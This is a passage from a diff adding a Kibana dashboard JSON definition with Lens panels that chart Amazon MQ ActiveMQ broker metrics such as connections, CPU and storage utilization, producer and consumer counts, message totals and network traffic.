"@timestamp" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "metrics-*", + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "axisTitlesVisibilitySettings": { + "x": true, + "yLeft": true, + "yRight": true + }, + "fittingFunction": "None", + "gridlinesVisibilitySettings": { + "x": true, + "yLeft": true, + "yRight": true + }, + "labelsOrientation": { + "x": 0, + "yLeft": 0, + "yRight": 0 + }, + "layers": [ + { + "accessors": [ + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713" + ], + "colorMapping": { + "assignments": [], + "colorMode": { + "type": "categorical" + }, + "paletteId": "eui_amsterdam_color_blind", + "specialAssignments": [ + { + "color": { + "type": "loop" + }, + "rule": { + "type": "other" + }, + "touched": false + } + ] + }, + "layerId": "e087695b-1585-4d8f-be37-62949a95b42b", + "layerType": "data", + "seriesType": "line", + "splitAccessor": "8d567192-0799-4e6b-9072-90b2c4a713c4", + "xAccessor": "e351cce6-dce5-4ea6-9b36-0c921bba099f", + "yConfig": [] + }, + { + "accessors": [ + "8be9aa39-0601-47bd-b02d-1dd6540cfc60" + ], + "layerId": "9f090cb9-ced1-44d1-956a-78936c15d125", + "layerType": "data", + "seriesType": "area", + "splitAccessor": "8fba23c1-a4b3-4703-85c0-295676e13622", + "xAccessor": "af72bd07-a2fb-4f1b-8a41-24f23c877eb4", + "yConfig": [ + { + "axisMode": "right", + "color": "#6092c0", + "forAccessor": "8be9aa39-0601-47bd-b02d-1dd6540cfc60" + } + ] + } + ], + "legend": { + "isVisible": true, + "position": "bottom" + }, + "preferredSeriesType": "area", + "tickLabelsVisibilitySettings": { + "x": true, + "yLeft": true, + "yRight": true + }, + "valueLabels": "hide" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsXY" + }, + "description": "The established connection count is the total number of connections, active and inactive, that have been established on the broker.\n\nThe current connection count is the current number of active connections on the current broker.", + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 14, + "i": "231ff3ae-2395-43ea-ba5e-7ecc83c01fe9", + "w": 16, + "x": 32, + "y": 0 + }, + "panelIndex": "231ff3ae-2395-43ea-ba5e-7ecc83c01fe9", + "title": "Broker connections", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "metrics-*", + "name": "indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "currentIndexPatternId": "metrics-*", + "layers": { + "e087695b-1585-4d8f-be37-62949a95b42b": { + "columnOrder": [ + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713", + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0", + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1" + ], + "columns": { + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Average storage utilization", + "operationType": "formula", + "params": { + "format": { + "id": "percent", + "params": { + "compact": false, + "decimals": 2 + } + }, + "formula": "average(aws.amazonmq.metrics.activemq.broker.StorePercentUsage.avg)/100", + "isFormulaBroken": false + }, + "references": [ + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1" + ], + "scale": "ratio" + }, + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Part of Average Storage utilization", + "operationType": "average", + "params": { + "emptyAsNull": false + }, + "scale": "ratio", + "sourceField": "aws.amazonmq.metrics.activemq.broker.StorePercentUsage.avg" + }, + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Part of Average Storage utilization", + "operationType": "math", + "params": { + "tinymathAst": { + "args": [ + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0", + 100 + ], + "location": { + "max": 71, + "min": 0 + }, + "name": "divide", + "text": "average(aws.amazonmq.metrics.activemq.broker.StorePercentUsage.avg)/100", + "type": "function" + } + }, + "references": [ + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0" + ], + "scale": "ratio" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "metrics-*", + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "color": "#6092c0b3", + "icon": "empty", + "layerId": "e087695b-1585-4d8f-be37-62949a95b42b", + "layerType": "data", + "metricAccessor": "45c405f5-0ad2-4ac4-bcc4-bdda4516d713" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsMetric" + }, + "description": "The percentage of allocated Amazon EC2 compute units that the broker currently uses.", + "enhancements": {}, + "hidePanelTitles": true + }, + "gridData": { + "h": 7, + "i": "4589d24e-3705-4993-8d43-49bb8c347738", + "w": 8, + "x": 16, + "y": 7 + }, + "panelIndex": "4589d24e-3705-4993-8d43-49bb8c347738", + "title": "", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "metrics-*", + "name": "indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "currentIndexPatternId": "metrics-*", + "layers": { + "e087695b-1585-4d8f-be37-62949a95b42b": { + "columnOrder": [ + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713", + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0", + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1" + ], + "columns": { + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Average temporary storage utilization", + "operationType": "formula", + "params": { + "format": { + "id": "percent", + "params": { + "decimals": 2 + } + }, + "formula": "average(aws.amazonmq.metrics.activemq.broker.TempPercentUsage.avg)/100", + "isFormulaBroken": false + }, + "references": [ + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1" + ], + "scale": "ratio" + }, + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Part of Average Temporary storage utilization", + "operationType": "average", + "params": { + "emptyAsNull": false + }, + "scale": "ratio", + "sourceField": "aws.amazonmq.metrics.activemq.broker.TempPercentUsage.avg" + }, + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Part of Average Temporary storage utilization", + "operationType": "math", + "params": { + "tinymathAst": { + "args": [ + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0", + 100 + ], + "location": { + "max": 70, + "min": 0 + }, + "name": "divide", + "text": "average(aws.amazonmq.metrics.activemq.broker.TempPercentUsage.avg)/100", + "type": "function" + } + }, + "references": [ + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0" + ], + "scale": "ratio" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "metrics-*", + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "color": "#aa6556b3", + "icon": "empty", + "layerId": "e087695b-1585-4d8f-be37-62949a95b42b", + "layerType": "data", + "metricAccessor": "45c405f5-0ad2-4ac4-bcc4-bdda4516d713" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsMetric" + }, + "description": "The percentage of available temporary storage used by non-persistent messages.", + "enhancements": {}, + "hidePanelTitles": true + }, + "gridData": { + "h": 7, + "i": "1cb87e1f-3bd3-46dc-88a2-733ab9043551", + "w": 8, + "x": 24, + "y": 7 + }, + "panelIndex": "1cb87e1f-3bd3-46dc-88a2-733ab9043551", + "title": "", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "description": "The percentage of allocated Amazon EC2 compute units that the broker currently uses.", + "references": [ + { + "id": "metrics-*", + "name": "indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "currentIndexPatternId": "metrics-*", + "layers": { + "e087695b-1585-4d8f-be37-62949a95b42b": { + "columnOrder": [ + "5cc46217-2d43-4972-8182-534d84ce172e", + "1dacab0a-99b9-43c5-b92c-576406fe0a70", + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713", + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0", + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1" + ], + "columns": { + "1dacab0a-99b9-43c5-b92c-576406fe0a70": { + "dataType": "date", + "isBucketed": true, + "label": "@timestamp", + "operationType": "date_histogram", + "params": { + "dropPartials": false, + "includeEmptyRows": true, + "interval": "auto" + }, + "scale": "interval", + "sourceField": "@timestamp" + }, + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "CPU utilization", + "operationType": "formula", + "params": { + "format": { + "id": "percent", + "params": { + "compact": true, + "decimals": 0 + } + }, + "formula": "average(aws.amazonmq.metrics.activemq.broker.CpuUtilization.avg)/100", + "isFormulaBroken": false + }, + "references": [ + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1" + ], + "scale": "ratio" + }, + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Part of Percentage of CPU utilization", + "operationType": "average", + "params": { + "emptyAsNull": false + }, + "scale": "ratio", + "sourceField": "aws.amazonmq.metrics.activemq.broker.CpuUtilization.avg" + }, + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Part of Percentage of CPU utilization", + "operationType": "math", + "params": { + "tinymathAst": { + "args": [ + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0", + 100 + ], + "location": { + "max": 68, + "min": 0 + }, + "name": "divide", + "text": "average(aws.amazonmq.metrics.activemq.broker.CpuUtilization.avg)/100", + "type": "function" + } + }, + "references": [ + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0" + ], + "scale": "ratio" + }, + "5cc46217-2d43-4972-8182-534d84ce172e": { + "dataType": "string", + "isBucketed": true, + "label": "Top 10 values of aws.dimensions.Broker", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "fallback": true, + "type": "alphabetical" + }, + "orderDirection": "asc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "size": 10 + }, + "scale": "ordinal", + "sourceField": "aws.dimensions.Broker" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "metrics-*", + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "axisTitlesVisibilitySettings": { + "x": true, + "yLeft": true, + "yRight": true + }, + "fittingFunction": "None", + "gridlinesVisibilitySettings": { + "x": true, + "yLeft": true, + "yRight": true + }, + "labelsOrientation": { + "x": 0, + "yLeft": 0, + "yRight": 0 + }, + "layers": [ + { + "accessors": [ + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713" + ], + "colorMapping": { + "assignments": [], + "colorMode": { + "type": "categorical" + }, + "paletteId": "eui_amsterdam_color_blind", + "specialAssignments": [ + { + "color": { + "type": "loop" + }, + "rule": { + "type": "other" + }, + "touched": false + } + ] + }, + "layerId": "e087695b-1585-4d8f-be37-62949a95b42b", + "layerType": "data", + "seriesType": "area", + "splitAccessor": "5cc46217-2d43-4972-8182-534d84ce172e", + "xAccessor": "1dacab0a-99b9-43c5-b92c-576406fe0a70" + } + ], + "legend": { + "isVisible": true, + "position": "bottom", + "shouldTruncate": false + }, + "preferredSeriesType": "area", + "tickLabelsVisibilitySettings": { + "x": true, + "yLeft": true, + "yRight": true + }, + "valueLabels": "hide" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsXY" + }, + "description": "The percentage of allocated Amazon EC2 compute units that the broker currently uses.", + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 14, + "i": "0083352f-a49e-4c37-9cdd-65956d59111c", + "w": 16, + "x": 0, + "y": 14 + }, + "panelIndex": "0083352f-a49e-4c37-9cdd-65956d59111c", + "title": "CPU utilization", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "metrics-*", + "name": "indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "currentIndexPatternId": "metrics-*", + "layers": { + "e087695b-1585-4d8f-be37-62949a95b42b": { + "columnOrder": [ + "7a1a2fc8-c3dd-40c6-b136-36e6a2aa8cd7", + "86bbed99-c623-4712-8a03-7b5c36287e8e", + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713", + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0", + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1" + ], + "columns": { + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Storage utilization", + "operationType": "formula", + "params": { + "format": { + "id": "percent", + "params": { + "compact": true, + "decimals": 0 + } + }, + "formula": "average(aws.amazonmq.metrics.activemq.broker.StorePercentUsage.avg)/100", + "isFormulaBroken": false + }, + "references": [ + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1" + ], + "scale": "ratio" + }, + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Part of Percentage of storage utilization", + "operationType": "average", + "params": { + "emptyAsNull": false + }, + "scale": "ratio", + "sourceField": "aws.amazonmq.metrics.activemq.broker.StorePercentUsage.avg" + }, + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X1": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Part of Percentage of storage utilization", + "operationType": "math", + "params": { + "tinymathAst": { + "args": [ + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0", + 100 + ], + "location": { + "max": 71, + "min": 0 + }, + "name": "divide", + "text": "average(aws.amazonmq.metrics.activemq.broker.StorePercentUsage.avg)/100", + "type": "function" + } + }, + "references": [ + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713X0" + ], + "scale": "ratio" + }, + "7a1a2fc8-c3dd-40c6-b136-36e6a2aa8cd7": { + "dataType": "string", + "isBucketed": true, + "label": "Top 3 values of aws.dimensions.Broker", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "fallback": true, + "type": "alphabetical" + }, + "orderDirection": "asc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "size": 3 + }, + "scale": "ordinal", + "sourceField": "aws.dimensions.Broker" + }, + "86bbed99-c623-4712-8a03-7b5c36287e8e": { + "dataType": "date", + "isBucketed": true, + "label": "@timestamp", + "operationType": "date_histogram", + "params": { + "dropPartials": false, + "includeEmptyRows": true, + "interval": "auto" + }, + "scale": "interval", + "sourceField": "@timestamp" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "metrics-*", + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "axisTitlesVisibilitySettings": { + "x": true, + "yLeft": true, + "yRight": true + }, + "fittingFunction": "None", + "gridlinesVisibilitySettings": { + "x": true, + "yLeft": true, + "yRight": true + }, + "labelsOrientation": { + "x": 0, + "yLeft": 0, + "yRight": 0 + }, + "layers": [ + { + "accessors": [ + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713" + ], + "colorMapping": { + "assignments": [], + "colorMode": { + "type": "categorical" + }, + "paletteId": "eui_amsterdam_color_blind", + "specialAssignments": [ + { + "color": { + "type": "loop" + }, + "rule": { + "type": "other" + }, + "touched": false + } + ] + }, + "layerId": "e087695b-1585-4d8f-be37-62949a95b42b", + "layerType": "data", + "seriesType": "area", + "splitAccessor": "7a1a2fc8-c3dd-40c6-b136-36e6a2aa8cd7", + "xAccessor": "86bbed99-c623-4712-8a03-7b5c36287e8e" + } + ], + "legend": { + "isVisible": true, + "position": "bottom", + "shouldTruncate": false + }, + "preferredSeriesType": "area", + "tickLabelsVisibilitySettings": { + "x": true, + "yLeft": true, + "yRight": true + }, + "valueLabels": "hide" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsXY" + }, + "description": "The percentage of allocated Amazon EC2 compute units that the broker currently uses.", + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 14, + "i": "d0441ad2-aa47-4dd9-827f-4151bb4e823f", + "w": 16, + "x": 16, + "y": 14 + }, + "panelIndex": "d0441ad2-aa47-4dd9-827f-4151bb4e823f", + "title": "Storage utilization", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "metrics-*", + "name": "indexpattern-datasource-layer-950f9c94-6e0a-442b-aac9-563db74dc340", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "currentIndexPatternId": "metrics-*", + "layers": { + "950f9c94-6e0a-442b-aac9-563db74dc340": { + "columnOrder": [ + "2d23bba6-7cc8-49ad-9d2a-973c52f075f3", + "43dd70ab-652d-43d9-8fdd-8825a4d400a6", + "1587b29a-ea56-40be-9ff7-4ed374edd2c6" + ], + "columns": { + "1587b29a-ea56-40be-9ff7-4ed374edd2c6": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Producer count", + "operationType": "sum", + "params": { + "emptyAsNull": true, + "format": { + "id": "number", + "params": { + "compact": true, + "decimals": 0 + } + } + }, + "scale": "ratio", + "sourceField": "aws.amazonmq.metrics.activemq.broker.TotalProducerCount.max" + }, + "2d23bba6-7cc8-49ad-9d2a-973c52f075f3": { + "dataType": "string", + "isBucketed": true, + "label": "Top 10 values of aws.dimensions.Broker", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "1587b29a-ea56-40be-9ff7-4ed374edd2c6", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "size": 10 + }, + "scale": "ordinal", + "sourceField": "aws.dimensions.Broker" + }, + "43dd70ab-652d-43d9-8fdd-8825a4d400a6": { + "dataType": "date", + "isBucketed": true, + "label": "@timestamp", + "operationType": "date_histogram", + "params": { + "dropPartials": false, + "includeEmptyRows": true, + "interval": "auto" + }, + "scale": "interval", + "sourceField": "@timestamp" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "metrics-*", + "sampling": 1 + }, + "e087695b-1585-4d8f-be37-62949a95b42b": { + "columnOrder": [ + "8f8a5bdb-c109-4d59-bb2b-783d1724fcac", + "e351cce6-dce5-4ea6-9b36-0c921bba099f", + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713" + ], + "columns": { + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Consumer count", + "operationType": "sum", + "params": { + "emptyAsNull": true, + "format": { + "id": "number", + "params": { + "compact": true, + "decimals": 0 + } + } + }, + "scale": "ratio", + "sourceField": "aws.amazonmq.metrics.activemq.broker.TotalConsumerCount.max" + }, + "8f8a5bdb-c109-4d59-bb2b-783d1724fcac": { + "dataType": "string", + "isBucketed": true, + "label": "Top 10 values of aws.dimensions.Broker", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "45c405f5-0ad2-4ac4-bcc4-bdda4516d713", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "size": 10 + }, + "scale": "ordinal", + "sourceField": "aws.dimensions.Broker" + }, + "e351cce6-dce5-4ea6-9b36-0c921bba099f": { + "dataType": "date", + "isBucketed": true, + "label": "@timestamp", + "operationType": "date_histogram", + "params": { + "dropPartials": false, + "includeEmptyRows": true, + "interval": "auto" + }, + "scale": "interval", + "sourceField": "@timestamp" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "metrics-*", + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "axisTitlesVisibilitySettings": { + "x": true, + "yLeft": true, + "yRight": true + }, + "fittingFunction": "None", + "gridlinesVisibilitySettings": { + "x": true, + "yLeft": true, + "yRight": true + }, + "labelsOrientation": { + "x": 0, + "yLeft": 0, + "yRight": 0 + }, + "layers": [ + { + "accessors": [ + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713" + ], + "colorMapping": { + "assignments": [], + "colorMode": { + "type": "categorical" + }, + "paletteId": "eui_amsterdam_color_blind", + "specialAssignments": [ + { + "color": { + "type": "loop" + }, + "rule": { + "type": "other" + }, + "touched": false + } + ] + }, + "layerId": "e087695b-1585-4d8f-be37-62949a95b42b", + "layerType": "data", + "seriesType": "line", + "splitAccessor": "8f8a5bdb-c109-4d59-bb2b-783d1724fcac", + "xAccessor": "e351cce6-dce5-4ea6-9b36-0c921bba099f", + "yConfig": [ + { + "axisMode": "right", + "forAccessor": "45c405f5-0ad2-4ac4-bcc4-bdda4516d713" + } + ] + }, + { + "accessors": [ + "1587b29a-ea56-40be-9ff7-4ed374edd2c6" + ], + "colorMapping": { + "assignments": [], + "colorMode": { + "type": "categorical" + }, + "paletteId": "elastic_brand_2023", + "specialAssignments": [ + { + "color": { + "type": "loop" + }, + "rule": { + "type": "other" + }, + "touched": false + } + ] + }, + "layerId": "950f9c94-6e0a-442b-aac9-563db74dc340", + "layerType": "data", + "seriesType": "line", + "splitAccessor": "2d23bba6-7cc8-49ad-9d2a-973c52f075f3", + "xAccessor": "43dd70ab-652d-43d9-8fdd-8825a4d400a6", + "yConfig": [ + { + "axisMode": "left", + "forAccessor": "1587b29a-ea56-40be-9ff7-4ed374edd2c6" + } + ] + } + ], + "legend": { + "isVisible": true, + "position": "bottom", + "shouldTruncate": false + }, + "preferredSeriesType": "line", + "tickLabelsVisibilitySettings": { + "x": true, + "yLeft": true, + "yRight": true + }, + "valueLabels": "hide" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsXY" + }, + "description": "Consumer count is the number of messages consumers subscribed to destinations on the current broker.\n\nProducer count is the number of message producers active on destinations on the current broker.", + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 14, + "i": "2a409820-b562-44e5-905b-4ac12a9471a2", + "w": 16, + "x": 32, + "y": 14 + }, + "panelIndex": "2a409820-b562-44e5-905b-4ac12a9471a2", + "title": "Producer vs Consumer count", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "metrics-*", + "name": "indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "currentIndexPatternId": "metrics-*", + "layers": { + "e087695b-1585-4d8f-be37-62949a95b42b": { + "columnOrder": [ + "8f8a5bdb-c109-4d59-bb2b-783d1724fcac", + "e351cce6-dce5-4ea6-9b36-0c921bba099f", + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713" + ], + "columns": { + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Total messages", + "operationType": "sum", + "params": { + "emptyAsNull": true, + "format": { + "id": "number", + "params": { + "compact": true, + "decimals": 0 + } + } + }, + "scale": "ratio", + "sourceField": "aws.amazonmq.metrics.activemq.broker.TotalMessageCount.max" + }, + "8f8a5bdb-c109-4d59-bb2b-783d1724fcac": { + "dataType": "string", + "isBucketed": true, + "label": "Top 10 values of aws.dimensions.Broker", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "45c405f5-0ad2-4ac4-bcc4-bdda4516d713", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "size": 10 + }, + "scale": "ordinal", + "sourceField": "aws.dimensions.Broker" + }, + "e351cce6-dce5-4ea6-9b36-0c921bba099f": { + "dataType": "date", + "isBucketed": true, + "label": "@timestamp", + "operationType": "date_histogram", + "params": { + "dropPartials": false, + "includeEmptyRows": true, + "interval": "auto" + }, + "scale": "interval", + "sourceField": "@timestamp" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "metrics-*", + "sampling": 1 + } + } + }, + "indexpattern": { + "layers": {} + }, + "textBased": { + "layers": {} + } + }, + "filters": [], + "internalReferences": [], + "query": { + "language": "kuery", + "query": "" + }, + "visualization": { + "axisTitlesVisibilitySettings": { + "x": true, + "yLeft": true, + "yRight": true + }, + "fittingFunction": "None", + "gridlinesVisibilitySettings": { + "x": true, + "yLeft": true, + "yRight": true + }, + "labelsOrientation": { + "x": 0, + "yLeft": 0, + "yRight": 0 + }, + "layers": [ + { + "accessors": [ + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713" + ], + "colorMapping": { + "assignments": [], + "colorMode": { + "type": "categorical" + }, + "paletteId": "eui_amsterdam_color_blind", + "specialAssignments": [ + { + "color": { + "type": "loop" + }, + "rule": { + "type": "other" + }, + "touched": false + } + ] + }, + "layerId": "e087695b-1585-4d8f-be37-62949a95b42b", + "layerType": "data", + "seriesType": "line", + "splitAccessor": "8f8a5bdb-c109-4d59-bb2b-783d1724fcac", + "xAccessor": "e351cce6-dce5-4ea6-9b36-0c921bba099f", + "yConfig": [ + { + "axisMode": "left", + "forAccessor": "45c405f5-0ad2-4ac4-bcc4-bdda4516d713" + } + ] + } + ], + "legend": { + "isVisible": true, + "position": "bottom", + "shouldTruncate": false + }, + "preferredSeriesType": "line", + "tickLabelsVisibilitySettings": { + "x": true, + "yLeft": true, + "yRight": true + }, + "valueLabels": "hide" + } + }, + "title": "", + "type": "lens", + "visualizationType": "lnsXY" + }, + "description": "The number of messages stored on the broker.", + "enhancements": {}, + "hidePanelTitles": false + }, + "gridData": { + "h": 14, + "i": "8199eef4-d274-432e-bc63-63e060a6e721", + "w": 16, + "x": 0, + "y": 28 + }, + "panelIndex": "8199eef4-d274-432e-bc63-63e060a6e721", + "title": "Total messages count", + "type": "lens" + }, + { + "embeddableConfig": { + "attributes": { + "references": [ + { + "id": "metrics-*", + "name": "indexpattern-datasource-layer-e087695b-1585-4d8f-be37-62949a95b42b", + "type": "index-pattern" + }, + { + "id": "metrics-*", + "name": "indexpattern-datasource-layer-950f9c94-6e0a-442b-aac9-563db74dc340", + "type": "index-pattern" + } + ], + "state": { + "adHocDataViews": {}, + "datasourceStates": { + "formBased": { + "currentIndexPatternId": "metrics-*", + "layers": { + "950f9c94-6e0a-442b-aac9-563db74dc340": { + "columnOrder": [ + "2d23bba6-7cc8-49ad-9d2a-973c52f075f3", + "43dd70ab-652d-43d9-8fdd-8825a4d400a6", + "1587b29a-ea56-40be-9ff7-4ed374edd2c6" + ], + "columns": { + "1587b29a-ea56-40be-9ff7-4ed374edd2c6": { + "customLabel": true, + "dataType": "number", + "isBucketed": false, + "label": "Outgoing traffic volume", + "operationType": "sum", + "params": { + "emptyAsNull": true, + "format": { + "id": "bytes", + "params": { + "decimals": 2 + } + } + }, + "scale": "ratio", + "sourceField": "aws.amazonmq.metrics.activemq.broker.NetworkOut.max" + }, + "2d23bba6-7cc8-49ad-9d2a-973c52f075f3": { + "dataType": "string", + "isBucketed": true, + "label": "Top 10 values of aws.dimensions.Broker", + "operationType": "terms", + "params": { + "exclude": [], + "excludeIsRegex": false, + "include": [], + "includeIsRegex": false, + "missingBucket": false, + "orderBy": { + "columnId": "1587b29a-ea56-40be-9ff7-4ed374edd2c6", + "type": "column" + }, + "orderDirection": "desc", + "otherBucket": true, + "parentFormat": { + "id": "terms" + }, + "size": 10 + }, + "scale": "ordinal", + "sourceField": "aws.dimensions.Broker" + }, + "43dd70ab-652d-43d9-8fdd-8825a4d400a6": { + "dataType": "date", + "isBucketed": true, + "label": "@timestamp", + "operationType": "date_histogram", + "params": { + "dropPartials": false, + "includeEmptyRows": true, + "interval": "auto" + }, + "scale": "interval", + "sourceField": "@timestamp" + } + }, + "ignoreGlobalFilters": false, + "incompleteColumns": {}, + "indexPatternId": "metrics-*", + "sampling": 1 + }, + "e087695b-1585-4d8f-be37-62949a95b42b": { + "columnOrder": [ + "8f8a5bdb-c109-4d59-bb2b-783d1724fcac", + "e351cce6-dce5-4ea6-9b36-0c921bba099f", + "45c405f5-0ad2-4ac4-bcc4-bdda4516d713" + ], + 